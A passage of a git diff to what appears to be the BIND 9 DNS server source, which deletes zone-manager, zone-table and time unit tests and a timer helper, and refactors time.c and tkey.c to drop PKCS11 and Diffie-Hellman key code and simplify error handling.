-	assert_int_not_equal(serial, 0);
-	assert_int_equal(serial, 2014040102);
-	assert_int_equal(dns_updatemethod_increment, used);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(increment_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(increment_past_zero_test,
-						_setup, _teardown),
-		cmocka_unit_test_setup_teardown(past_to_unix_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(now_to_unix_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(future_to_unix_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(undefined_to_unix_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(undefined_plus1_to_unix_test,
-						_setup, _teardown),
-		cmocka_unit_test_setup_teardown(undefined_minus1_to_unix_test,
-						_setup, _teardown),
-		cmocka_unit_test_setup_teardown(unixtime_zero_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(past_to_date_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(now_to_date_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(future_to_date_test, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/zonemgr_test.c b/lib/dns/tests/zonemgr_test.c
deleted file mode 100644
index ca7559e181..0000000000
--- a/lib/dns/tests/zonemgr_test.c
+++ /dev/null
@@ -1,263 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/buffer.h>
-#include <isc/task.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#include <dns/name.h>
-#include <dns/view.h>
-#include <dns/zone.h>
-
-#include "dnstest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, true);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-/* create zone manager */
-static void
-zonemgr_create(void **state) {
-	dns_zonemgr_t *myzonemgr = NULL;
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_zonemgr_create(dt_mctx, taskmgr, timermgr, socketmgr, NULL,
-				    &myzonemgr);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	dns_zonemgr_shutdown(myzonemgr);
-	dns_zonemgr_detach(&myzonemgr);
-	assert_null(myzonemgr);
-}
-
-/* manage and release a zone */
-static void
-zonemgr_managezone(void **state) {
-	dns_zonemgr_t *myzonemgr = NULL;
-	dns_zone_t *zone = NULL;
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_zonemgr_create(dt_mctx, taskmgr, timermgr, socketmgr, NULL,
-				    &myzonemgr);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_test_makezone("foo", &zone, NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/* This should not succeed until the dns_zonemgr_setsize() is run */
-	result = dns_zonemgr_managezone(myzonemgr, zone);
-	assert_int_equal(result, ISC_R_FAILURE);
-
-	assert_int_equal(dns_zonemgr_getcount(myzonemgr, DNS_ZONESTATE_ANY), 0);
-
-	result = dns_zonemgr_setsize(myzonemgr, 1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/* Now it should succeed */
-	result = dns_zonemgr_managezone(myzonemgr, zone);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	assert_int_equal(dns_zonemgr_getcount(myzonemgr, DNS_ZONESTATE_ANY), 1);
-
-	dns_zonemgr_releasezone(myzonemgr, zone);
-	dns_zone_detach(&zone);
-
-	assert_int_equal(dns_zonemgr_getcount(myzonemgr, DNS_ZONESTATE_ANY), 0);
-
-	dns_zonemgr_shutdown(myzonemgr);
-	dns_zonemgr_detach(&myzonemgr);
-	assert_null(myzonemgr);
-}
-
-/* create and release a zone */
-static void
-zonemgr_createzone(void **state) {
-	dns_zonemgr_t *myzonemgr = NULL;
-	dns_zone_t *zone = NULL;
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_zonemgr_create(dt_mctx, taskmgr, timermgr, socketmgr, NULL,
-				    &myzonemgr);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/* This should not succeed until the dns_zonemgr_setsize() is run */
-	result = dns_zonemgr_createzone(myzonemgr, &zone);
-	assert_int_equal(result, ISC_R_FAILURE);
-
-	result = dns_zonemgr_setsize(myzonemgr, 1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/* Now it should succeed */
-	result = dns_zonemgr_createzone(myzonemgr, &zone);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_non_null(zone);
-
-	if (zone != NULL) {
-		dns_zone_detach(&zone);
-	}
-
-	dns_zonemgr_shutdown(myzonemgr);
-	dns_zonemgr_detach(&myzonemgr);
-	assert_null(myzonemgr);
-}
-
-/* manage and release a zone */
-static void
-zonemgr_unreachable(void **state) {
-	dns_zonemgr_t *myzonemgr = NULL;
-	dns_zone_t *zone = NULL;
-	isc_sockaddr_t addr1, addr2;
-	struct in_addr in;
-	isc_result_t result;
-	isc_time_t now;
-
-	UNUSED(state);
-
-	TIME_NOW(&now);
-
-	result = dns_zonemgr_create(dt_mctx, taskmgr, timermgr, socketmgr, NULL,
-				    &myzonemgr);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_test_makezone("foo", &zone, NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_zonemgr_setsize(myzonemgr, 1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_zonemgr_managezone(myzonemgr, zone);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	in.s_addr = inet_addr("10.53.0.1");
-	isc_sockaddr_fromin(&addr1, &in, 2112);
-	in.s_addr = inet_addr("10.53.0.2");
-	isc_sockaddr_fromin(&addr2, &in, 5150);
-	assert_false(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
-	/*
-	 * We require multiple unreachableadd calls to mark a server as
-	 * unreachable.
-	 */
-	dns_zonemgr_unreachableadd(myzonemgr, &addr1, &addr2, &now);
-	assert_false(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
-	dns_zonemgr_unreachableadd(myzonemgr, &addr1, &addr2, &now);
-	assert_true(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
-
-	in.s_addr = inet_addr("10.53.0.3");
-	isc_sockaddr_fromin(&addr2, &in, 5150);
-	assert_false(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
-	/*
-	 * We require multiple unreachableadd calls to mark a server as
-	 * unreachable.
-	 */
-	dns_zonemgr_unreachableadd(myzonemgr, &addr1, &addr2, &now);
-	dns_zonemgr_unreachableadd(myzonemgr, &addr1, &addr2, &now);
-	assert_true(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
-
-	dns_zonemgr_unreachabledel(myzonemgr, &addr1, &addr2);
-	assert_false(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
-
-	in.s_addr = inet_addr("10.53.0.2");
-	isc_sockaddr_fromin(&addr2, &in, 5150);
-	assert_true(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
-	dns_zonemgr_unreachabledel(myzonemgr, &addr1, &addr2);
-	assert_false(dns_zonemgr_unreachable(myzonemgr, &addr1, &addr2, &now));
-
-	dns_zonemgr_releasezone(myzonemgr, zone);
-	dns_zone_detach(&zone);
-	dns_zonemgr_shutdown(myzonemgr);
-	dns_zonemgr_detach(&myzonemgr);
-	assert_null(myzonemgr);
-}
-
-/*
- * XXX:
- * dns_zonemgr API calls that are not yet part of this unit test:
- *
- * 	- dns_zonemgr_attach
- * 	- dns_zonemgr_forcemaint
- * 	- dns_zonemgr_resumexfrs
- * 	- dns_zonemgr_shutdown
- * 	- dns_zonemgr_setsize
- * 	- dns_zonemgr_settransfersin
- * 	- dns_zonemgr_getttransfersin
- * 	- dns_zonemgr_settransfersperns
- * 	- dns_zonemgr_getttransfersperns
- * 	- dns_zonemgr_setiolimit
- * 	- dns_zonemgr_getiolimit
- * 	- dns_zonemgr_dbdestroyed
- * 	- dns_zonemgr_setserialqueryrate
- * 	- dns_zonemgr_getserialqueryrate
- */
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(zonemgr_create, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(zonemgr_managezone, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(zonemgr_createzone, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(zonemgr_unreachable, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/zt_test.c b/lib/dns/tests/zt_test.c
deleted file mode 100644
index 7945a0bd9e..0000000000
--- a/lib/dns/tests/zt_test.c
+++ /dev/null
@@ -1,374 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stdbool.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/app.h>
-#include <isc/atomic.h>
-#include <isc/buffer.h>
-#include <isc/print.h>
-#include <isc/task.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#include <dns/db.h>
-#include <dns/name.h>
-#include <dns/view.h>
-#include <dns/zone.h>
-#include <dns/zt.h>
-
-#include "dnstest.h"
-
-struct args {
-	void *arg1;
-	void *arg2;
-	bool arg3;
-};
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, true);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-static isc_result_t
-count_zone(dns_zone_t *zone, void *uap) {
-	int *nzones = (int *)uap;
-
-	UNUSED(zone);
-
-	*nzones += 1;
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-load_done(dns_zt_t *zt, dns_zone_t *zone, isc_task_t *task) {
-	/* We treat zt as a pointer to a boolean for testing purposes */
-	atomic_bool *done = (atomic_bool *)zt;
-
-	UNUSED(zone);
-	UNUSED(task);
-
-	atomic_store(done, true);
-	isc_app_shutdown();
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-all_done(void *arg) {
-	atomic_bool *done = (atomic_bool *)arg;
-
-	atomic_store(done, true);
-	isc_app_shutdown();
-	return (ISC_R_SUCCESS);
-}
-
-static void
-start_zt_asyncload(isc_task_t *task, isc_event_t *event) {
-	struct args *args = (struct args *)(event->ev_arg);
-
-	UNUSED(task);
-
-	dns_zt_asyncload(args->arg1, false, all_done, args->arg2);
-
-	isc_event_free(&event);
-}
-
-static void
-start_zone_asyncload(isc_task_t *task, isc_event_t *event) {
-	struct args *args = (struct args *)(event->ev_arg);
-
-	UNUSED(task);
-
-	dns_zone_asyncload(args->arg1, args->arg3, load_done, args->arg2);
-	isc_event_free(&event);
-}
-
-/* apply a function to a zone table */
-static void
-apply(void **state) {
-	isc_result_t result;
-	dns_zone_t *zone = NULL;
-	dns_view_t *view = NULL;
-	int nzones = 0;
-
-	UNUSED(state);
-
-	result = dns_test_makezone("foo", &zone, NULL, true);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	view = dns_zone_getview(zone);
-	assert_non_null(view->zonetable);
-
-	assert_int_equal(nzones, 0);
-	result = dns_zt_apply(view->zonetable, false, NULL, count_zone,
-			      &nzones);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(nzones, 1);
-
-	/* These steps are necessary so the zone can be detached properly */
-	result = dns_test_setupzonemgr();
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = dns_test_managezone(zone);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	dns_test_releasezone(zone);
-	dns_test_closezonemgr();
-
-	/* The view was left attached in dns_test_makezone() */
-	dns_view_detach(&view);
-	dns_zone_detach(&zone);
-}
-
-/* asynchronous zone load */
-static void
-asyncload_zone(void **state) {
-	isc_result_t result;
-	int n;
-	dns_zone_t *zone = NULL;
-	dns_view_t *view = NULL;
-	dns_db_t *db = NULL;
-	FILE *zonefile, *origfile;
-	char buf[4096];
-	atomic_bool done;
-	int i = 0;
-	struct args args;
-
-	UNUSED(state);
-
-	atomic_init(&done, false);
-
-	result = dns_test_makezone("foo", &zone, NULL, true);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_test_setupzonemgr();
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = dns_test_managezone(zone);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	view = dns_zone_getview(zone);
-	assert_non_null(view->zonetable);
-
-	assert_false(dns__zone_loadpending(zone));
-	assert_false(atomic_load(&done));
-	zonefile = fopen("./zone.data", "wb");
-	assert_non_null(zonefile);
-	origfile = fopen("./testdata/zt/zone1.db", "r+b");
-	assert_non_null(origfile);
-	n = fread(buf, 1, 4096, origfile);
-	fclose(origfile);
-	fwrite(buf, 1, n, zonefile);
-	fflush(zonefile);
-
-	dns_zone_setfile(zone, "./zone.data", dns_masterformat_text,
-			 &dns_master_style_default);
-
-	args.arg1 = zone;
-	args.arg2 = &done;
-	args.arg3 = false;
-	isc_app_onrun(dt_mctx, maintask, start_zone_asyncload, &args);
-
-	isc_app_run();
-	while (dns__zone_loadpending(zone) && i++ < 5000) {
-		dns_test_nap(1000);
-	}
-	assert_true(atomic_load(&done));
-	/* The zone should now be loaded; test it */
-	result = dns_zone_getdb(zone, &db);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	dns_db_detach(&db);
-	/*
-	 * Add something to zone file, reload zone with newonly - it should
-	 * not be reloaded.
-	 */
-	fprintf(zonefile, "\nb in b 1.2.3.4\n");
-	fflush(zonefile);
-	fclose(zonefile);
-
-	args.arg1 = zone;
-	args.arg2 = &done;
-	args.arg3 = true;
-	isc_app_onrun(dt_mctx, maintask, start_zone_asyncload, &args);
-
-	isc_app_run();
-
-	while (dns__zone_loadpending(zone) && i++ < 5000) {
-		dns_test_nap(1000);
-	}
-	assert_true(atomic_load(&done));
-	/* The zone should now be loaded; test it */
-	result = dns_zone_getdb(zone, &db);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	dns_db_detach(&db);
-
-	/* Now reload it without newonly - it should be reloaded */
-	args.arg1 = zone;
-	args.arg2 = &done;
-	args.arg3 = false;
-	isc_app_onrun(dt_mctx, maintask, start_zone_asyncload, &args);
-
-	isc_app_run();
-
-	while (dns__zone_loadpending(zone) && i++ < 5000) {
-		dns_test_nap(1000);
-	}
-	assert_true(atomic_load(&done));
-	/* The zone should now be loaded; test it */
-	result = dns_zone_getdb(zone, &db);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	assert_non_null(db);
-	if (db != NULL) {
-		dns_db_detach(&db);
-	}
-
-	dns_test_releasezone(zone);
-	dns_test_closezonemgr();
-
-	dns_zone_detach(&zone);
-	dns_view_detach(&view);
-}
-
-/* asynchronous zone table load */
-static void
-asyncload_zt(void **state) {
-	isc_result_t result;
-	dns_zone_t *zone1 = NULL, *zone2 = NULL, *zone3 = NULL;
-	dns_view_t *view;
-	dns_zt_t *zt = NULL;
-	dns_db_t *db = NULL;
-	atomic_bool done;
-	int i = 0;
-	struct args args;
-
-	UNUSED(state);
-
-	atomic_init(&done, false);
-
-	result = dns_test_makezone("foo", &zone1, NULL, true);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	dns_zone_setfile(zone1, "testdata/zt/zone1.db", dns_masterformat_text,
-			 &dns_master_style_default);
-	view = dns_zone_getview(zone1);
-
-	result = dns_test_makezone("bar", &zone2, view, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	dns_zone_setfile(zone2, "testdata/zt/zone1.db", dns_masterformat_text,
-			 &dns_master_style_default);
-
-	/* This one will fail to load */
-	result = dns_test_makezone("fake", &zone3, view, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	dns_zone_setfile(zone3, "testdata/zt/nonexistent.db",
-			 dns_masterformat_text, &dns_master_style_default);
-
-	zt = view->zonetable;
-	assert_non_null(zt);
-
-	result = dns_test_setupzonemgr();
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = dns_test_managezone(zone1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = dns_test_managezone(zone2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = dns_test_managezone(zone3);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	assert_false(dns__zone_loadpending(zone1));
-	assert_false(dns__zone_loadpending(zone2));
-	assert_false(atomic_load(&done));
-
-	args.arg1 = zt;
-	args.arg2 = &done;
-	isc_app_onrun(dt_mctx, maintask, start_zt_asyncload, &args);
-
-	isc_app_run();
-	while (!atomic_load(&done) && i++ < 5000) {
-		dns_test_nap(1000);
-	}
-	assert_true(atomic_load(&done));
-
-	/* Both zones should now be loaded; test them */
-	result = dns_zone_getdb(zone1, &db);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_non_null(db);
-	if (db != NULL) {
-		dns_db_detach(&db);
-	}
-
-	result = dns_zone_getdb(zone2, &db);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_non_null(db);
-	if (db != NULL) {
-		dns_db_detach(&db);
-	}
-
-	dns_test_releasezone(zone3);
-	dns_test_releasezone(zone2);
-	dns_test_releasezone(zone1);
-	dns_test_closezonemgr();
-
-	dns_zone_detach(&zone1);
-	dns_zone_detach(&zone2);
-	dns_zone_detach(&zone3);
-	dns_view_detach(&view);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(apply, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(asyncload_zone, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(asyncload_zt, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/time.c b/lib/dns/time.c
index adeb419b23..dcec7c7964 100644
--- a/lib/dns/time.c
+++ b/lib/dns/time.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,14 +18,13 @@
 #include <stdio.h>
 #include <time.h>
 
-#include <isc/print.h>
 #include <isc/region.h>
+#include <isc/result.h>
 #include <isc/serial.h>
 #include <isc/stdtime.h>
-#include <isc/string.h> /* Required for HP/UX (and others?) */
+#include <isc/string.h>
 #include <isc/util.h>
 
-#include <dns/result.h>
 #include <dns/time.h>
 
 static const int days[12] = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };
@@ -100,17 +101,17 @@ dns_time64_totext(int64_t t, isc_buffer_t *target) {
 
 int64_t
 dns_time64_from32(uint32_t value) {
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 	int64_t start;
 	int64_t t;
 
 	/*
 	 * Adjust the time to the closest epoch.  This should be changed
-	 * to use a 64-bit counterpart to isc_stdtime_get() if one ever
+	 * to use a 64-bit counterpart to isc_stdtime_now() if one ever
 	 * is defined, but even the current code is good until the year
 	 * 2106.
 	 */
-	isc_stdtime_get(&now);
+
 	start = (int64_t)now;
 	if (isc_serial_gt(value, now)) {
 		t = start + (value - now);
diff --git a/lib/dns/timer.c b/lib/dns/timer.c
deleted file mode 100644
index 2a2cf159d1..0000000000
--- a/lib/dns/timer.c
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <stdbool.h>
-
-#include <isc/result.h>
-#include <isc/time.h>
-#include <isc/timer.h>
-
-#include <dns/timer.h>
-#include <dns/types.h>
-
-#define CHECK(op)                            \
-	do {                                 \
-		result = (op);               \
-		if (result != ISC_R_SUCCESS) \
-			goto failure;        \
-	} while (0)
-
-isc_result_t
-dns_timer_setidle(isc_timer_t *timer, unsigned int maxtime,
-		  unsigned int idletime, bool purge) {
-	isc_result_t result;
-	isc_interval_t maxinterval, idleinterval;
-	isc_time_t expires;
-
-	/* Compute the time of expiry. */
-	isc_interval_set(&maxinterval, maxtime, 0);
-	CHECK(isc_time_nowplusinterval(&expires, &maxinterval));
-
-	/*
-	 * Compute the idle interval, and add a spare nanosecond to
-	 * work around the silly limitation of the ISC timer interface
-	 * that you cannot specify an idle interval of zero.
-	 */
-	isc_interval_set(&idleinterval, idletime, 1);
-
-	CHECK(isc_timer_reset(timer, isc_timertype_once, &expires,
-			      &idleinterval, purge));
-failure:
-	return (result);
-}
diff --git a/lib/dns/tkey.c b/lib/dns/tkey.c
index f0489d4834..8133d927a3 100644
--- a/lib/dns/tkey.c
+++ b/lib/dns/tkey.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -21,16 +23,15 @@
 #endif
 
 #include <isc/buffer.h>
+#include <isc/hex.h>
 #include <isc/md.h>
 #include <isc/mem.h>
 #include <isc/nonce.h>
-#include <isc/print.h>
 #include <isc/random.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
 #include <dns/dnssec.h>
 #include <dns/fixedname.h>
 #include <dns/keyvalues.h>
@@ -49,14 +50,11 @@
 #include <dst/gssapi.h>
 
 #include "dst_internal.h"
+#include "tsig_p.h"
 
 #define TEMP_BUFFER_SZ	   8192
 #define TKEY_RANDOM_AMOUNT 16
 
-#if USE_PKCS11
-#include <pk11/pk11.h>
-#endif /* if USE_PKCS11 */
-
 #define RETERR(x)                            \
 	do {                                 \
 		result = (x);                \
@@ -77,54 +75,16 @@ tkey_log(const char *fmt, ...) {
 	va_end(ap);
 }
 
-static void
-dumpmessage(dns_message_t *msg) {
-	isc_buffer_t outbuf;
-	unsigned char *output;
-	int len = TEMP_BUFFER_SZ;
-	isc_result_t result;
-
-	for (;;) {
-		output = isc_mem_get(msg->mctx, len);
-
-		isc_buffer_init(&outbuf, output, len);
-		result = dns_message_totext(msg, &dns_master_style_debug, 0,
-					    &outbuf);
-		if (result == ISC_R_NOSPACE) {
-			isc_mem_put(msg->mctx, output, len);
-			len *= 2;
-			continue;
-		}
-
-		if (result == ISC_R_SUCCESS) {
-			tkey_log("%.*s", (int)isc_buffer_usedlength(&outbuf),
-				 (char *)isc_buffer_base(&outbuf));
-		} else {
-			tkey_log("Warning: dns_message_totext: %s",
-				 dns_result_totext(result));
-		}
-		break;
-	}
-
-	if (output != NULL) {
-		isc_mem_put(msg->mctx, output, len);
-	}
-}
-
 isc_result_t
 dns_tkeyctx_create(isc_mem_t *mctx, dns_tkeyctx_t **tctxp) {
-	dns_tkeyctx_t *tctx;
-
 	REQUIRE(mctx != NULL);
 	REQUIRE(tctxp != NULL && *tctxp == NULL);
 
-	tctx = isc_mem_get(mctx, sizeof(dns_tkeyctx_t));
-	tctx->mctx = NULL;
+	dns_tkeyctx_t *tctx = isc_mem_get(mctx, sizeof(*tctx));
+	*tctx = (dns_tkeyctx_t){
+		.mctx = NULL,
+	};
 	isc_mem_attach(mctx, &tctx->mctx);
-	tctx->dhkey = NULL;
-	tctx->domain = NULL;
-	tctx->gsscred = NULL;
-	tctx->gssapi_keytab = NULL;
 
 	*tctxp = tctx;
 	return (ISC_R_SUCCESS);
@@ -132,8 +92,8 @@ dns_tkeyctx_create(isc_mem_t *mctx, dns_tkeyctx_t **tctxp) {
 
 void
 dns_tkeyctx_destroy(dns_tkeyctx_t **tctxp) {
-	isc_mem_t *mctx;
-	dns_tkeyctx_t *tctx;
+	isc_mem_t *mctx = NULL;
+	dns_tkeyctx_t *tctx = NULL;
 
 	REQUIRE(tctxp != NULL && *tctxp != NULL);
 
@@ -141,9 +101,6 @@ dns_tkeyctx_destroy(dns_tkeyctx_t **tctxp) {
 	*tctxp = NULL;
 	mctx = tctx->mctx;
 
-	if (tctx->dhkey != NULL) {
-		dst_key_free(&tctx->dhkey);
-	}
 	if (tctx->domain != NULL) {
 		if (dns_name_dynamic(tctx->domain)) {
 			dns_name_free(tctx->domain, mctx);
@@ -159,10 +116,9 @@ dns_tkeyctx_destroy(dns_tkeyctx_t **tctxp) {
 	isc_mem_putanddetach(&mctx, tctx, sizeof(dns_tkeyctx_t));
 }
 
-static isc_result_t
+static void
 add_rdata_to_list(dns_message_t *msg, dns_name_t *name, dns_rdata_t *rdata,
 		  uint32_t ttl, dns_namelist_t *namelist) {
-	isc_result_t result;
 	isc_region_t r, newr;
 	dns_rdata_t *newrdata = NULL;
 	dns_name_t *newname = NULL;
@@ -170,7 +126,7 @@ add_rdata_to_list(dns_message_t *msg, dns_name_t *name, dns_rdata_t *rdata,
 	dns_rdataset_t *newset = NULL;
 	isc_buffer_t *tmprdatabuf = NULL;
 
-	RETERR(dns_message_gettemprdata(msg, &newrdata));
+	dns_message_gettemprdata(msg, &newrdata);
 
 	dns_rdata_toregion(rdata, &r);
 	isc_buffer_allocate(msg->mctx, &tmprdatabuf, r.length);
@@ -179,337 +135,52 @@ add_rdata_to_list(dns_message_t *msg, dns_name_t *name, dns_rdata_t *rdata,
 	dns_rdata_fromregion(newrdata, rdata->rdclass, rdata->type, &newr);
 	dns_message_takebuffer(msg, &tmprdatabuf);
 
-	RETERR(dns_message_gettempname(msg, &newname));
+	dns_message_gettempname(msg, &newname);
 	dns_name_copy(name, newname);
 
-	RETERR(dns_message_gettemprdatalist(msg, &newlist));
+	dns_message_gettemprdatalist(msg, &newlist);
 	newlist->rdclass = newrdata->rdclass;
 	newlist->type = newrdata->type;
 	newlist->ttl = ttl;
 	ISC_LIST_APPEND(newlist->rdata, newrdata, link);
 
-	RETERR(dns_message_gettemprdataset(msg, &newset));
-	RETERR(dns_rdatalist_tordataset(newlist, newset));
+	dns_message_gettemprdataset(msg, &newset);
+	dns_rdatalist_tordataset(newlist, newset);
 
 	ISC_LIST_INIT(newname->list);
 	ISC_LIST_APPEND(newname->list, newset, link);
 
 	ISC_LIST_APPEND(*namelist, newname, link);
-
-	return (ISC_R_SUCCESS);
-
-failure:
-	if (newrdata != NULL) {
-		if (ISC_LINK_LINKED(newrdata, link)) {
-			INSIST(newlist != NULL);
-			ISC_LIST_UNLINK(newlist->rdata, newrdata, link);
-		}
-		dns_message_puttemprdata(msg, &newrdata);
-	}
-	if (newname != NULL) {
-		dns_message_puttempname(msg, &newname);
-	}
-	if (newset != NULL) {
-		dns_rdataset_disassociate(newset);
-		dns_message_puttemprdataset(msg, &newset);
-	}
-	if (newlist != NULL) {
-		dns_message_puttemprdatalist(msg, &newlist);
-	}
-	return (result);
 }
 
 static void
 free_namelist(dns_message_t *msg, dns_namelist_t *namelist) {
-	dns_name_t *name;
-	dns_rdataset_t *set;
+	dns_name_t *name = NULL;
 
-	while (!ISC_LIST_EMPTY(*namelist)) {
-		name = ISC_LIST_HEAD(*namelist);
+	while ((name = ISC_LIST_HEAD(*namelist)) != NULL) {
+		dns_rdataset_t *set = NULL;
 		ISC_LIST_UNLINK(*namelist, name, link);
-		while (!ISC_LIST_EMPTY(name->list)) {
-			set = ISC_LIST_HEAD(name->list);
